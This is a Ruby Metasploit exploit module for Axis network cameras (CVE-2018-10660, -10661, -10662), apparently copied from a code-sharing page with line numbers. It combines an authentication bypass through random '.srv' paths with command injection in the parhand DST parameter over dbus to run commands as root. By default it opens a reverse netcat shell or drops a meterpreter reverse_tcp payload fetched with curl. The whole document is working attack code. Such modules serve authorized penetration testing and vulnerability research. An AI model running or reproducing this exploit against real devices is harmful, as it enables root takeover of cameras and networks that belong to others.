Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7

8
  Rank = ExcellentRanking
9

10
  include Msf::Exploit::Remote::HttpClient
11
  include Msf::Exploit::CmdStager
12

13
  def initialize(info = {})
14
    super(update_info(info,
15
      'Name'                => 'Axis Network Camera .srv-to-parhand RCE',
16
      'Description'         => %q{
17
        This module exploits an auth bypass in .srv functionality and a
18
        command injection in parhand to execute code as the root user.
19
      },
20
      'Author'              => [
21
        'Or Peles',       # Vulnerability discovery (VDOO)
22
        'wvu',            # Metasploit module
23
        'sinn3r',         # Metasploit module
24
        'Brent Cook',     # Metasploit module
25
        'Jacob Robles',   # Metasploit module
26
        'Matthew Kienow', # Metasploit module
27
        'Shelby Pace',    # Metasploit module
28
        'Chris Lee',      # Metasploit module
29
        'Cale Black'      # Metasploit module
30
      ],
31
      'References'          => [
32
        ['CVE', '2018-10660'],
33
        ['CVE', '2018-10661'],
34
        ['CVE', '2018-10662'],
35
        ['URL', 'https://blog.vdoo.com/2018/06/18/vdoo-discovers-significant-vulnerabilities-in-axis-cameras/'],
36
        ['URL', 'https://www.axis.com/files/faq/Advisory_ACV-128401.pdf']
37
      ],
38
      'DisclosureDate'      => '2018-06-18',
39
      'License'             => MSF_LICENSE,
40
      'Platform'            => ['unix', 'linux'],
41
      'Arch'                => [ARCH_CMD, ARCH_ARMLE],
42
      'Privileged'          => true,
43
      'Targets'             => [
44
        ['Unix In-Memory',
45
          'Platform'        => 'unix',
46
          'Arch'            => ARCH_CMD,
47
          'Type'            => :unix_memory,
48
          'Payload'         => {
49
            'BadChars'      => ' ',
50
            'Encoder'       => 'cmd/ifs',
51
            'Compat'        => {
52
              'PayloadType' => 'cmd',
53
              'RequiredCmd' => 'netcat-e'
54
            }
55
          },
56
          'DefaultOptions'  => {
57
            'PAYLOAD'       => 'cmd/unix/reverse_netcat_gaping'
58
          }
59
        ],
60
        ['Linux Dropper',
61
          'Platform'        => 'linux',
62
          'Arch'            => ARCH_ARMLE,
63
          'Type'            => :linux_dropper,
64
          'DefaultOptions'  => {
65
            'PAYLOAD'       => 'linux/armle/meterpreter_reverse_tcp'
66
          }
67
        ]
68
      ],
69
      'DefaultTarget'       => 1,
70
      'DefaultOptions'      => {'WfsDelay' => 10}
71
    ))
72
  end
73

74
  def check
75
    res = send_request_cgi(
76
      'method' => 'GET',
77
      'uri'    => "/index.html/#{rand_srv}"
78
    )
79

80
    if res && res.code == 204
81
      return CheckCode::Appears
82
    end
83

84
    CheckCode::Safe
85
  end
86

87
  def exploit
88
    case target['Type']
89
    when :unix_memory
90
      execute_command(payload.encoded)
91
    when :linux_dropper
92
      execute_cmdstager(flavor: :curl, nospace: true)
93
    end
94
  end
95

96
  def execute_command(cmd, opts = {})
97
    send_request_cgi(
98
      'method'    => 'POST',
99
      'uri'       => "/index.html/#{rand_srv}",
100
      'vars_post' => {
101
        'action'  => 'dbus',
102
        'args'    => dbus_send(
103
          method: :set_param,
104
          param:  "string:root.Time.DST.Enabled string:;(#{cmd})&"
105
        )
106
      }
107
    )
108

109
    send_request_cgi(
110
      'method'    => 'POST',
111
      'uri'       => "/index.html/#{rand_srv}",
112
      'vars_post' => {
113
        'action'  => 'dbus',
114
        'args'    => dbus_send(method: :synch_params)
115
      }
116
    )
117
  end
118

119
  def dbus_send(method:, param: nil)
120
    args = '--system --dest=com.axis.PolicyKitParhand ' \
121
           '--type=method_call /com/axis/PolicyKitParhand '
122

123
    args <<
124
      case method
125
      when :set_param
126
        "com.axis.PolicyKitParhand.SetParameter #{param}"
127
      when :synch_params
128
        'com.axis.PolicyKitParhand.SynchParameters'
129
      end
130

131
    args
132
  end
133

134
  def rand_srv
135
    "#{Rex::Text.rand_text_alphanumeric(8..42)}.srv"
136
  end
137

138
end
139

140